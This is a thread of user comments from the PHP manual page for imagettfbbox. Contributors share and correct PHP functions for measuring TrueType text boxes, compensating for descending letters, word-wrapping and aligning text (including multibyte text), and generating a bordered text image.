function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
mike at mikeleigh dot com 28-May-2007 04:05
I have been testing this function for a while now and have come up with many of the same issues that other people have touched upon.  Not being able to calculate the width of the text correctly.  Or if a solution is found then it won't work with a hanging letter or a negative start letter like 'j'.

Like Ralph I also wanted to draw a box around some text and this would require me being pixel perfect with the font.  The trouble is I did not know which font would be used or which size.  This led me to come up with a solution which I am sharing below.

<?php
function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
?>

The function above gives the correct x and y coordinates that the text should be drawn from and also gives the actual image width and height.  This has been tested with various fonts and sizes ranging from 6 up to 144 points.  Some of the output will appear to be incorrect and have an extra pixel on the right, using verdana at size 144 and outputting the character 'Q' for example.  This is not an error as this is part of the anti-aliasing of the font output.

Example Usage:
<?php
$font = 'c:\windows\fonts\verdana.ttf';
$font_size = 144;
$text = 'jÜyZgQ';
$bbox = imagettfbboxextended($font_size, 0, $font, $text);
?>

Return Values:
Array
(
    [0] => -8
    [1] => 40
    [2] => 715
    [3] => 40
    [4] => 715
    [5] => -177
    [6] => -8
    [7] => -177
    [x] => 6
    [width] => 722
    [y] => 176
    [height] => 216
)

Further notes can be found here along with images of the output of the function http://mikeleigh.com/links/imagettfbbox
lassial dot gmail dot com 24-May-2007 01:46
Ralph Bolton commented about the difference in calculating the bounding box size vs. aligning text base line.

The workaround for this issue is to calculate the difference in height between a character going below baseline and one above the baseline. This is likely going to vary from font to font, so I'd suggest something like this:

<?php

function fontBaselineOffset($font, $fontSize)
{
//this should be above baseline
$test2="H";
//some of these additional letters should go below it
$test3="Hjgqp";

//get the dimension for these two:

$box2 = imageTTFBbox($fontSize,0,$font,$test2);
$box3 = imageTTFBbox($fontSize,0,$font,$test3);

//return the offset value

return  abs((abs($box2[5]) + abs($box2[1])) - (abs($box3[5]) + abs($box3[1])));

}
?>

This is not perfect yet. You should define a range of allowed characters that can go below baseline, compare them to the ones actually found in your string and use them instead of the string $test3 used in the example function above. This should avoid problems with letters that go further below baseline than the others (e.g. there could be a difference between 'g' and 'p')
ralphbolton at mail2sexy dot com 23-Apr-2007 06:16
There's a bit of an annoyance with measuring font sizes and drawing boxes around text. When fonts are measured using ImageTTFbbox, the correct vertical height is returned. That is, the measurement of the phrase "Hanging" will be from the top of the "H" to the bottom of the "g".

The problem is that functions like imageTTFtext align with the "line" of the text - that is, in the phrase "Hanging", the alignment is below the "H", not the bottom of the "g". That means that if you draw a rectangle behind your text, it'll be incorrectly aligned because the hanging "g" will be outside the box.

For example, this doesn't work as you might expect (because the "g" hangs below the box):
<?php
// Get the size of the font box
$textbox = imageTTFBbox($size, 0, $font, 'Hanging');
$textwidth = abs($textbox[4] - $textbox[0]);
$textheight = abs($textbox[5] - $textbox[1]);

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x, $y - $textheight, $x + $textwidth, $y, $colour );

// Now draw the text
$black = ImageColorAllocate($im, 0, 0, 0);
ImageTTFText($image['resource'], $size, 0, $x, $y, $black, $font, 'Hanging');
?>
It also seems that the rectangle in the above example is located 1 pixel to the left of the text.

I haven't found a way to resolve this problem correctly. Instead, I have enlarged the rectangle and then put the text into it. I don't think this will work absolutely correctly for all fonts, so it's not exactly a perfect solution. However, it's better than nothing! Here is a snippet of it:
<?php
$enlargex = $textwidth * 0.08;
$enlargey = $textheight * 0.1;
$enlargey2 = $textheight * 0.5;

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x - $enlargex, $y - $textheight - $enlargey, $x + $textwidth + $enlargex, $y + $enlarge2, $colour );
?>
marclaz 31-Jul-2006 03:13
Please note that as imageTTFBbox and imageTTFText functions return an array of coordinates which could be negative numbers care must be taken with height and width calculations.

The rigth way to do that is to use the abs() function:

for an horizontal text:

$box = @imageTTFBbox($size,0,$font,$text);
$width = abs($box[4] - $box[0]);
$height = abs($box[5] - $box[1]);

Then to center your text at ($x,$y) position the code should be like that:

$x -= $width/2;
$y += $heigth/2;

imageTTFText($img,$size,0,$x,$y,$color,$font,$text);

this because (0,0) page origin is topleft page corner and (0,0) text origin is lower-left readable text corner.

Hope this help.
Nimja 08-May-2006 10:09
Warning:
james.logsdon's function has a few flaws in copying my own function. Though he did a great job in making an overall nicer looking function it does have a few flaws.

His function does not allow for long words (longer then the width) linebreaks (harder then it looks) and has a non-pixel perfect location.

The problem with the imagettfbbox function is that different letters give a different x/y top-left coordinate. At least it looks that way for the eye. I 'solved' this by putting a space in front of every line and then offset the text by the width of that space.

So, although some things of my function seem useless they do serve an important purpose.
james.logsdon at firesidemedia dot net 05-May-2006 10:32
I've modified Nimja's function a little. It doesn't support line-breaks (didn't need it in my script), but it's easy enough to add in.

<?php

function imageWordWrapBBox ( $Text, $Width = 650, $FontSize = 10, $Font = './fonts/arial.ttf' )
{
    $Words = split ( ' ', $Text );
    $Lines = array ( );
    $Line  = '';

    foreach ( $Words as $Word )
    {
        $Box  = imagettfbbox ( $FontSize, 0, $Font, $Line . $Word );
        $Size = $Box[4] - $Box[0];
        if ( $Size > $Width )
        {
            $Lines[] = trim ( $Line );
            $Line    = '';
        }
        $Line .= $Word . ' ';
    }
    $Lines[] = trim ( $Line );

    $Dimensions = imagettfbbox ( $FontSize, 0, $Font, 'AJLMYabdfghjklpqry019`@$^&*(,' );
    $lineHeight = $Dimensions[1] - $Dimensions[5];

    return array ( $lineHeight, $Lines, $lineHeight * count ( $Lines ) );
}

function imageWordWrap ( $Text, $Width, $Color, $X = 0, $Y = 0, $FontSize = 10, $Font = './fonts/arial.ttf' )
{
    $Data = $this->imageWordWrapBBox ( $Text, $Width, $FontSize, $Font );

    foreach ( $Data[1] as $Key => $Line )
    {
        $locX = $X;
        $locY = $Y + ( $Key * $Data[0] );
        imagettftext ( $this->Image, $FontSize, 0, $locX, $locY, $Color, $Font, $Line );
    }

    return $Data;
}
?>
toe dot cutter at telia dot com 28-Feb-2006 04:41
Neither Greg's or Henrik N's code worked for me.

I figured out that imagettfbbox gives the size (coordinates) of the whole letter (ie. with the hang on 'g' or 'j'). So it was only a matter of finding the correct index of coordinates in the array.

Note: This doesn't work on Times New Roman Italic's 'f' for some reason.

<?php

    $size = imagettfbbox($fontsize, 0, $font, $text);
    $dx = abs($size[2]-$size[0]);
    $dy = abs($size[5]-$size[3]);

    ImageTTFText($im, $fontsize, 0, abs($size[6]), abs($size[5]), $txtcolor, $font, $text);

?>
Henrik N 26-Feb-2006 10:48
Tried Greg's code below, but it didn't quite work for me. This did, however:

<?php

$size = imagettfbbox($fontSize, 0, $font, $text);
$width = $size[2] + $size[0];
$height = abs($size[1]) + abs($size[7]);

$image = imagecreatetruecolor($width, $height);

imagettftext($image, $fontSize, 0, 0, abs($size[5]), $black, $font, $text);

?>
greg at gregoryfenton dot be 11-Feb-2006 11:23
Have a problem with imagettfbbox cutting off the hang of letters such as 'g' or 'j'??

After days trying to figure this thing out, I finally cracked it:

  $size = imagettfbbox($s,0,$font,$text);
  $dx=abs($size[0])+abs($size[2]);
  $dy=abs($size[1])+abs($size[7]);

  ImageTTFText($im, $s, 0, $dx-abs($size[0]), $dy-abs($size[1]), $black, $font, $text);

The key is the abs commands - you must account for the negative numbers in the original imagettfbbox, and if you have any, take them away from the location at the end when the text is displayed:

you need to start the x and y at a (possibly) negative number, not 0,0 as I had thought.

Hope that helps someone..
Nimja 13-Jan-2006 05:32
My previous function had 2 bugs which are now fixed:
* Align is now pixel perfect, no longer dependant on the first character. Solved by putting a space " " in front of every rendered line, making the basepoint at the exact same place every time.
* X Y Coordinates are no longer the base-point, but the perfect top/left coordinates. This made my life designing a LOT easier.

Features:
* Newline support! (both Windows and Linux)
* Paragraph support, no newlines are ignored, not even empty ones. So empty lines are properly supported.
* True top/left x/y coordinates instead of TTF basepoint.(at least as close as possible).
* Align function for Left, Center and Right
* Support for words that are longer then the supported width.

<?php
//A function for pixel precise text Wrapping
function imageTextWrapped(&$img, $x, $y, $width, $font, $color, $text, $textSize, $align="l") {
    //Recalculate X and Y to have the proper top/left coordinates instead of TTF base-point
    $y += $textSize;
    $dimensions = imagettfbbox($textSize, 0, $font, " "); //use a custom string to get a fixed height.
    $x -= $dimensions[4]-$dimensions[0];

    $text = str_replace ("\r", '', $text); //Remove windows line-breaks
    $srcLines = split ("\n", $text); //Split text into "lines"
    $dstLines = Array(); // The destination lines array.
    foreach ($srcLines as $currentL) {
        $line = '';
        $words = split (" ", $currentL); //Split line into words.
        foreach ($words as $word) {
            $dimensions = imagettfbbox($textSize, 0, $font, $line.$word);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line, if the word is to be included
            if ($lineWidth > $width && !empty($line) ) { // check if it is too big if the word was added, if so, then move on.
                $dstLines[] = ' '.trim($line); //Add the line like it was without spaces.
                $line = '';
            }
            $line .= $word.' ';
        }
        $dstLines[] =  ' '.trim($line); //Add the line when the line ends.
    }
    //Calculate lineheight by common characters.
    $dimensions = imagettfbbox($textSize, 0, $font, "MXQJPmxqjp123"); //use a custom string to get a fixed height.
    $lineHeight = $dimensions[1] - $dimensions[5]; // get the heightof this line

    $align = strtolower(substr($align,0,1)); //Takes the first letter and converts to lower string. Support for Left, left and l etc.
    foreach ($dstLines as $nr => $line) {
        if ($align != "l") {
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line
            if ($align == "r") { //If the align is Right
                $locX = $x + $width - $lineWidth;
            } else { //If the align is Center
                $locX = $x + ($width/2) - ($lineWidth/2);
            }
        } else { //if the align is Left
            $locX = $x;
        }
        $locY = $y + ($nr * $lineHeight);
        //Print the line.
        imagettftext($img, $textSize, 0, $locX, $locY, $color, $font, $line);
    }
}

?>
Nimja 13-Jan-2006 03:01
This is a completely rewritten function of "printWordWrapped" because it lacked a few important features. First of all, it started too high with it's text, which was easily fixed. And it has the annoying 'feature' of adding a space in front of every line. Not ideal.

But secondly, and more importantly, it didn't support long words or linebreaks. This is all fixed. And I rewrote it for cleaner code.

Please note that with the current code you could easily make a vertical align as well if you wanted to. I have not done this myself since it did not fit my own needs (and I'm slightly lazy)

Enjoy:

<?php
function imageTextWrapped(&$img, $x, $y, $width, $font, $color, $text, $textSize, $align="l") {
    $y += $fontSize; //Correct place for the fonts.
    $text = str_replace ("\\r", '', $text); //Remove windows line-breaks
    $srcLines = split ("\\n", $text); //Split text into "lines"
    $dstLines = Array(); // The destination lines array.
    foreach ($srcLines as $currentL) {
        $line = '';
        $words = split (" ", $currentL); //Split line into words.
        foreach ($words as $word) {
            $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$word);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line, if the word is to be included
            if ($lineWidth > $width && !empty($line) ) { // check if it is too big if the word was added, if so, then move on.
                $dstLines[] = trim($line); //Add the line like it was without spaces.
                $line = '';
            }
            $line .= $word.' ';
        }
        $dstLines[] =  trim($line); //Add the line when the line ends.
    }
    //Calculate lineheight by common characters.
    $dimensions = imagettfbbox($textSize, 0, $font, "MXQJPmxqjp123"); //use a custom string to get a fixed height.
    $lineHeight = $dimensions[1] - $dimensions[5]; // get the heightof this line

    $align = strtolower(substr($align,0,1)); //Takes the first letter and converts to lower string. Support for Left, left and l etc.
    foreach ($dstLines as $nr => $line) {
        if ($align != "l") {
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line
            if ($align == "r") { //If the align is Right
                $locX = $x + $width - $lineWidth;
            } else { //If the align is Center
                $locX = $x + ($width/2) - ($lineWidth/2);
            }
        } else { //if the align is Left
            $locX = $x;
        }
        $locY = $y + ($nr * $lineHeight);
        //Print the line.
        imagettftext($img, $textSize, 0, $locX, $locY, $color, $font, $line);
    }
}
?>
peisenmann at gmail dot com 29-Dec-2005 03:41
Another function for centered text string.
What it does: Generate a truecolor .png image of a text string. The image will be just large enough encompass the text and a 2 px border and the text will be centered in it.

It is called from any other page like so...
<img src="linkImg.php?text=php.net is great&border=out" /> // Text with #&+"'\<> will need to be escaped, but I've found spaces don't cause errors. I haven't tested this with any other languages.

The following code is the file named linkImg.php
The file was not designed to have anything else here with it, and the open and close php tags should the the very first and very last characters of the page respectively, as outside whitespace can be a little evil sometimes.
<?php
//Obtain text and border via GET
//Border can be out, in, or flat
$text = $_GET['text'];
$border = $_GET['border'];

  $font = "fontpath"; //(str) "fonts/sasquatchlives.ttf"
  $fontsize = font size; //(int) pixels in GD 1, or points in GD 2

//Register box
$box = imagettfbbox ($fontsize, 0, $font, $text);
//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH= $box[3]-$box[5];
//Add padding
$paddingx = 10;
$paddingy = 10;
//Set image dimentions
$width = $textW+$paddingx;
$height= $textH+$paddingy;

//Bottom left corner of text
$textx = $paddingx/2;
$texty = $height - $paddingy/2;

//Shadow offset (pixels)
$shadoffx = 1;
$shadoffy = 1;

//Create the image
 $img = imagecreatetruecolor($width,$height);
//Define some colors
 $white = imagecolorallocate($img,255,255,255);
 $black = imagecolorallocate($img,0,0,0);
 $lightgrey = imagecolorallocate($img,200,200,200);
 $grey = imagecolorallocate($img,100,100,100);
//Define Text (fg) and background (bg) colors
 $bgcol = imagecolorallocate($img,192,213,196); //Celadon (light pastel green)
 $fgcol = imagecolorallocate($img,243,104,88); //Peach
// Fill image with background color
 imagefill($img,0,0,$bgcol);

//Write Shadow
imagettftext($img, $fontsize, 0, $textx+$shadoffx, $texty+$shadoffy, $grey, $font, $text);

//Write Text
imagettftext($img, $fontsize, 0, $textx, $texty, $fgcol, $font, $text);

//Bordering

   //Embossed border (button-looking)
 if ($border == "out")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$lightgrey);imageline ($img,1,1,1,$height-1,$lightgrey);
   imageline ($img,0,$height-1,$width-1,$height-1,$black);imageline ($img,$width-1,$height-1,$width-1,0,$black);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);

  }
    //Flat border
 if ($border == "flat")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);
  }

    //Engraved border (pushed button)
 if ($border == "in")
  {
   imageline ($img,0,0,$width,0,$black);imageline ($img,0,0,0,$height,$black);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$lightgrey);imageline ($img,$width-2,$height-2,$width-2,2,$lightgrey);
  }

// Header info
 header("Content-type: image/png");
//Sends the image
 imagepng($img);
 imagedestroy($img);
?>

Hope this helps someone!
-Patrick-
Mickey9801 at ComicParty dot com 11-Dec-2005 06:31
I have revised my mb_wordwrap function to fix 2 major bugs: cannot handle line break and infinite loop while handling very very long long long single byte word.

<?php
function mb_wordwrap($txt,$font,$size,$width) {
    $pointer = 0; // Current character position pointer
    $this_line_start = 0; // Starting character position of current line
    $this_line_strlen = 1; // How long is the current line
    $single_byte_stack = ""; // Variable for storing single byte word
    $sbs_line_width = 0; // Pixel width of the Single byte word
    $this_is_cr = FALSE; // Check if the character is new line code (ASCII=10)
    $result_lines = array(); // Array for storing the return result

    while ($pointer < mb_strlen($txt)) {
        $this_char = mb_substr($txt,$pointer,1);
        if (ord($this_char[0])==10) $this_is_cr = TRUE; // Check if it is a new line
        // Check current line width
        $tmp_line = mb_substr($txt, $this_line_start, $this_line_strlen);
        $tmp_line_bbox = imagettfbbox($size,0,$font,$tmp_line);
        $this_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];

        // Prevent to cut off english word at the end of line
        // if this character is a alphanumeric character or open bracket, put it into stack
        if (is_alphanumeric($this_char, $single_byte_stack)) $single_byte_stack .= $this_char;
        // Check the width of single byte words
        if ($single_byte_stack != "") {
            $tmp_line_bbox = imagettfbbox($size,0,$font,$single_byte_stack);
            $sbs_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];
        }

        if ($this_is_cr || $this_line_width > $width || $sbs_line_width >= $width) {
            // If last word is alphanumeric, put it to next line rather then cut it off
            if ($single_byte_stack != "" && is_alphanumeric($this_char, $single_byte_stack) && $sbs_line_width < $width) {
                $stack_len = mb_strlen($single_byte_stack);
                $this_line_strlen = $this_line_strlen - $stack_len + 1;
                $pointer = $pointer - $stack_len + 1;
            }
            // Move the current line to result array and reset all counter
            $result_lines[] = mb_substr($txt, $this_line_start, $this_line_strlen-1);
            if ($this_is_cr) { $pointer++; $this_is_cr=FALSE; }
            if ($sbs_line_width >= $width) $sbs_line_width = 0;
            $this_line_start = $pointer;
            $this_line_strlen = 1;
            $single_byte_stack = "";
        } else {
            if (!is_alphanumeric($this_char, $single_byte_stack)) {
                $single_byte_stack = ""; // Clear stack if met multibyte character and not line end
            }
            $this_line_strlen++;
            $pointer++;
        }
    }
    // Move remained word to result
    $result_lines[] = mb_substr($txt, $this_line_start);

    return $result_lines;
}

function is_alphanumeric($character, $stack) {
    if (
                (ord($character)>=48 && ord($character)<=57) ||
                (ord($character)>=65 && ord($character)<=91) ||
                (ord($character)>=97 && ord($character)<=123) ||
                ord($character)==40 ||
                ord($character)==60 ||
                ($stack=="" && (ord($character)==34 || ord($character)==39))
            ) return TRUE;
            else return FALSE;
}
?>
Nashev 11-Dec-2005 02:38
see http://php.rinet.ru/manual/ru/function.imagettftext.php#57416

function ByteCount($s) {
    $has_mbstring = extension_loaded('mbstring') ||@dl(PHP_SHLIB_PREFIX.'mbstring.'.PHP_SHLIB_SUFFIX);
    $has_mb_shadow = (int) ini_get('mbstring.func_overload');

    if ($has_mbstring && ($has_mb_shadow & 2) ) {
       $size = mb_strlen($s,'latin1');
    } else {
       $size = strlen($s);
    }
    return $size;
}

function foxy_utf8_to_nce($s) {
  $utf = "$s";

  $max_count = 5; // flag-bits in $max_mark ( 1111 1000 == 5 times 1)
  $max_mark = 248; // marker for a (theoretical ;-)) 5-byte-char and mask for a 4-byte-char;

  $html = '';
  $ByteCount = ByteCount($utf);
  for($str_pos = 0; $str_pos < $ByteCount; $str_pos++) {
    $old_chr = $utf{$str_pos};
    $old_val = ord($old_chr);
    $new_val = 0;

    $utf8_marker = 0;

    // skip non-utf-8-chars
    if ($old_val > 127) {
      $mark = $max_mark;
      for ($byte_ctr = $max_count; $byte_ctr > 2; $byte_ctr--) {
        // actual byte is utf-8-marker?
        if (($old_val & $mark) == (($mark << 1) & 255)) {
          $utf8_marker = $byte_ctr - 1;
          break;
        }
        $mark = ($mark << 1) & 255;
      }
    }

    // marker found: collect following bytes
    if ($utf8_marker > 1 and isset($utf{$str_pos + 1})) {
      $str_off = 0;
      $new_val = $old_val & (127 >> $utf8_marker);
      for($byte_ctr = $utf8_marker; $byte_ctr > 1; $byte_ctr--) {
        // check if following chars are UTF8 additional data blocks
        // UTF8 and ord() > 127
        if( (ord($utf{$str_pos + 1}) & 192) == 128 ) {
          $new_val = $new_val << 6;
          $str_off++;
          // no need for Addition, bitwise OR is sufficient
          // 63: more UTF8-bytes; 0011 1111
          $new_val = $new_val | ( ord( $utf{$str_pos + $str_off} ) & 63 );
        }
        // no UTF8, but ord() > 127
        // nevertheless convert first char to NCE
        else {
          $new_val = $old_val;
        }
      }
      // build NCE-Code
      $html .= '&#'.$new_val.';';
      // Skip additional UTF-8-Bytes
      $str_pos = $str_pos + $str_off;
    } else {
      $html .= chr($old_val);
      //$new_val = $old_val;
    }
  }
  return $html;
}
Mickey9801 at ComicParty dot com 22-Nov-2005 09:49
Most of functions shared here seems only work with western language and is not suitable for multibyte characters (like Chinese). I have written a function using mb_string functions to match the need of multibyte character word wrapping.

I also added some machanism so that English word won't be cut off at the end of line. Of couse you must use unicode string on GD.

function mb_wordwrap($txt,$font,$size,$width) {
    $pointer = 0;
    $this_line_start = 0;
    $this_line_strlen = 1;
    $single_byte_stack = "";
    $result_lines = array();
    while ($pointer <= mb_strlen($txt)) {
        $this_char = mb_substr($txt,$pointer,1);
        $tmp_line = mb_substr($txt, $this_line_start, $this_line_strlen);
        $tmp_line_bbox = imagettfbbox($size,0,$font,$tmp_line);
        $this_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];
        if ($this_line_width > $width) {
            // If last word is alphanumeric, put it to next line rather then cut it off
            if ($single_byte_stack != "") {
                $stack_len = mb_strlen($single_byte_stack);
                $this_line_strlen -= $stack_len;
                $pointer -= $stack_len;
            }
            $result_lines[] = mb_substr($txt, $this_line_start, $this_line_strlen-1);
            $this_line_start = $pointer;
            $this_line_strlen = 1;
            $single_byte_stack = "";
        } else {
            // Prevent to cut off english word at the end of line
            // if this character is a alphanumeric character or open bracket, put it into stack
            if (
                (ord($this_char)>=48 && ord($this_char)<=57) ||
                (ord($this_char)>=65 && ord($this_char)<=91) ||
                (ord($this_char)>=97 && ord($this_char)<=123) ||
                ord($this_char)==40 ||
                ord($this_char)==60 ||
                ($single_byte_stack=="" && (ord($this_char)==34 || ord($this_char)==39))
            ) $single_byte_stack .= $this_char;
            else $single_byte_stack = ""; // Clear stack if met multibyte character and not line end
            $this_line_strlen++;
            $pointer++;
        }
    }
    // Move remained word to result
    $result_lines[] = mb_substr($txt, $this_line_start);

    return $result_lines;
}
Info at GravoMaster dot com 04-Nov-2005 05:01
TTF character charmap page
Could use some help in reading ttf file
so that unused rectangle chars are filtered out of the charmap
see
http://www.phpenabled.com/ttf_fontlist/
fontlist.php?font=Phones_NormalA.ttf
c.scheffers [gmail] 14-Aug-2005 10:15
I would like to post a small modification to the imageprintWordWrapped() posted below also.

The following code causes each line to start with a space, which results in the incorrect alignment of text:

$line .= ' '.$words[0]; // add the word to the current sentence

A (quick) fix for this problem:

$line .= ($line != '' ? ' ' : '').$words[0]; // add the word to the current sentence
fernandez_marce at yahoo dot com 03-Aug-2005 07:53
I would modify the last function imageprintWordWrapped() posted below. When it says:

// do the actual printing
$i = 0;

$i should be equal to 1, because if $top is greater than 0, the imagettftext() call will not work for the first element in the $lines array ($top + lineHeight*$i) == $top when $i=0!

imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
$i++;

To sum up, replace

// do the actual printing
$i = 0;

with:
// do the actual printing
$i = 1;

Cheers,
Marcelo
thetorpedodog [gmail] 28-Jul-2005 06:09
Just for the sake of consistency, I turned Miles' function into one that takes a $right value rather than a $maxWidth value. This makes it like all the other image* functions.
<?php
function imageprintWordWrapped(&$image, $top, $left, $right, $font, $color, $text, $textSize, $halign="left") {
   $maxWidth = $right - $left ;    //the trivial change
   $words = explode(' ', strip_tags($text)); // split the text into an array of single words
   $line = '';
   while (count($words) > 0) {
       $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
       $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
       if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
           $lines[] = $line; // add the line to the others
           $line = ''; // empty it (the word will be added outside the loop)
       }
       $line .= ' '.$words[0]; // add the word to the current sentence
       $words = array_slice($words, 1); // remove the word from the array
   }
   if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
   $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
   $height = count($lines) * $lineHeight; // the height of all the lines total
   // do the actual printing
   $i = 0;
   //print_R($widths);
   foreach ($lines as $line) {
       if($halign=="center") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           //figure out where the center is.
           $center=floor($maxWidth/2 + $left);
           $leftStart=$center-$lineWidth/2;
       } else if ($halign=="right") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           $leftStart=$left+$maxWidth-$lineWidth;
       } else {
           $leftStart=$left;
       }
       imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
       $i++;
   }
   return $height;
}
?>
miles at dinewilmingtononline dot com 13-Jul-2005 03:29
Here is a slight modification to the function posted below that vegard posted that allows for left, right or center alignment within the text boxes.

$halign has a default of left.  center, and right can also be put in.

<?php
function printWordWrapped(&$image, $top, $left, $maxWidth, $font, $color, $text, $textSize, $halign="left") {
    $words = explode(' ', strip_tags($text)); // split the text into an array of single words
    $line = '';
    while (count($words) > 0) {
        $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
        $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
        if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
            $lines[] = $line; // add the line to the others
            $line = ''; // empty it (the word will be added outside the loop)
        }
        $line .= ' '.$words[0]; // add the word to the current sentence
        $words = array_slice($words, 1); // remove the word from the array
    }
    if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
    $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
    $height = count($lines) * $lineHeight; // the height of all the lines total
    // do the actual printing
    $i = 0;
    //print_R($widths);
    foreach ($lines as $line) {
        if($halign=="center") {
            //figure out width of line
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[2] - $dimensions[0];
            //figure out where the center is.
            $center=floor($maxWidth/2 + $left);
            $leftStart=$center-$lineWidth/2;
        } else if ($halign=="right") {
            //figure out width of line
            $dimensions = imagettfbbox($textSize, 0, $font, $line);
            $lineWidth = $dimensions[2] - $dimensions[0];
            $leftStart=$left+$maxWidth-$lineWidth;
        } else {
            $leftStart=$left;
        }
        imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
        $i++;
    }
    return $height;
}
?>
info at rainer-schuetze dot de 11-Jun-2005 06:32
according function by jtopland at hive dot no
08-Feb-2004 03:26

soukhinov at mail dot ru was right, the function doesn't work with 180�. By the way it was a intresting way to trasform the angle to radian. Change the calculation of the angle to the following:  $angle = $angle/ 180 * pi();
The function to calc. the points is correct. Sorry to say this, but the cal. of the height and width is incorrect. I used the version from LB (11-Feb-2004 08:55)

    /**
     * return width and height, offset [left, top] of a ttf character
     * @param string $font : the font file
     * @param string $text : the character
     * @param int $size : the font size
     * @param int $angle : the angle
     * @access private
     * @return array  of the width and height, left and top.
     **/
    function _getCharacterSize($font, $text, $size, $angle)
    {
         // Get the boundingbox from imagettfbbox(), which is correct when angle is 0
         $bbox = imagettfbbox($size, 0, $font, $text);

         // Rotate the boundingbox
         $angle = $angle/ 180 * pi();
         for ($i=0; $i<4; $i++)
         {
                 $x = $bbox[$i * 2];
                 $y = $bbox[$i * 2 + 1];
                 $bbox[$i * 2] = cos($angle) * $x - sin($angle) * $y;  // X
                 $bbox[$i * 2 + 1] = sin($angle) * $x + cos($angle) * $y; // Y
         }
         // Variables which tells the correct width and height
        $bbox["left"] = 0- min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
        $bbox["top"] = 0- min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
        $bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) -  min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
        $bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

        return $bbox;
    }
php@da dot mcbf dot net 01-May-2005 04:37
Pretty trivial, but still might save someone some trouble: on my system (Debian Linux), the absolute path to the font file had to be specified. I tried it relative to the current webpage and that did not work.
